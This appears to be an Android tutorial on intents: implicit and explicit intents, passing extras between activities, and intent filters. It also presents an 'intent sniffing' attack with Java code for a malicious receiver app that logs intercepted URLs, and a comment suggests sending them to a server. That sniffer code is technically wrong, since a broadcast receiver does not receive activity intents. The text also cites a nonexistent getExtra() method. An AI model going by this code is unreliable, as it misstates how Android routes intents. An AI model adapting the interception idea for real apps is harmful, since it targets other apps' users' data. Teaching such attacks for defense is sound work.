Is a way of communicating between different components of an app or between different apps. It can be used to start an activity, a service, or a broadcast receiver, or to send data to another app. There are two types of intents: implicit and explicit.
Implicit Intents
Implicit intents do not specify the component to be invoked, but provide information on the action, data, or category of the component. The system then chooses the best component to handle the intent.
For example, if you want to open a web page, you can create an implicit intent with the action ACTION_VIEW and the URI of the web page. The system will then launch the best component to handle the intent, such as a web browser. Here is an example of creating and starting an implicit intent:
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("<https://www.bing.com>"));
startActivity(intent);
Explicit Intents
Explicit intents specify the component by name or class, and are used to start activities or services within the same app.
For example, if you want to start another activity within your app, you can create an explicit intent with the class of the target activity. The system will then launch the specified activity directly. Here is an example of creating and starting an explicit intent:
Intent intent = new Intent(this, SecondActivity.class);
startActivity(intent);
<aside> 💡 In android developer can use intent to exchange data between activities, services and broadcast receivers.
</aside>
To exchange data between two components via intent, you can use the putExtra() method to attach extra data to the intent, and the getExtra() method to retrieve the data from the intent. The data can be of primitive types, such as int, boolean, or String, or of Parcelable or Serializable types, such as custom objects. Here are some examples of how to exchange data between two activities using intents:
putExtra() method to add extra data with a key. For example, if you want to send a String value with the key "name" to SecondActivity, you can write:Intent intent = new Intent(this, SecondActivity.class);
intent.putExtra("name", "John");
startActivity(intent);
getIntent() method to get the intent that started the activity, and use the getExtra() method to get the extra data by the key. For example, if you want to get the String value with the key "name" from the intent in SecondActivity, you can write:Intent intent = getIntent();
String name = intent.getStringExtra("name");
In this attack the hacker create app which listen for interesting intents. For example listen for SMSs, Emails, URLs and etc. which contains important data.
Example:
Attacker Application
//This is the malicious app that registers itself as a receiver for ACTION_VIEW intents
public class SnifferActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//Create an intent filter for ACTION_VIEW intents
IntentFilter filter = new IntentFilter(Intent.ACTION_VIEW);
//Register a broadcast receiver for the filter
registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
//Get the data from the intent
Uri data = intent.getData();
//Do something with the data, such as logging it or sending it to a server
Log.d("Sniffer", "Sniffed data: " + data);
}
}, filter);
}
}
// You can define this broadcast receiver in manifest
Vulnerable Application
//This is the sender app that sends an ACTION_VIEW intent with a URL
public class SenderActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//Create an intent to view a web page
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("<https://www.example.com>"));
//Start an activity that can handle the intent
startActivity(intent);
}
}
An intent filter is a way of telling Android what your app can do. For example, if your app can open a web page, you can use an intent filter to tell Android that your app can handle web links. Then, when the user clicks on a web link, Android will show your app as an option to open it. An intent filter has three parts: action, category, and data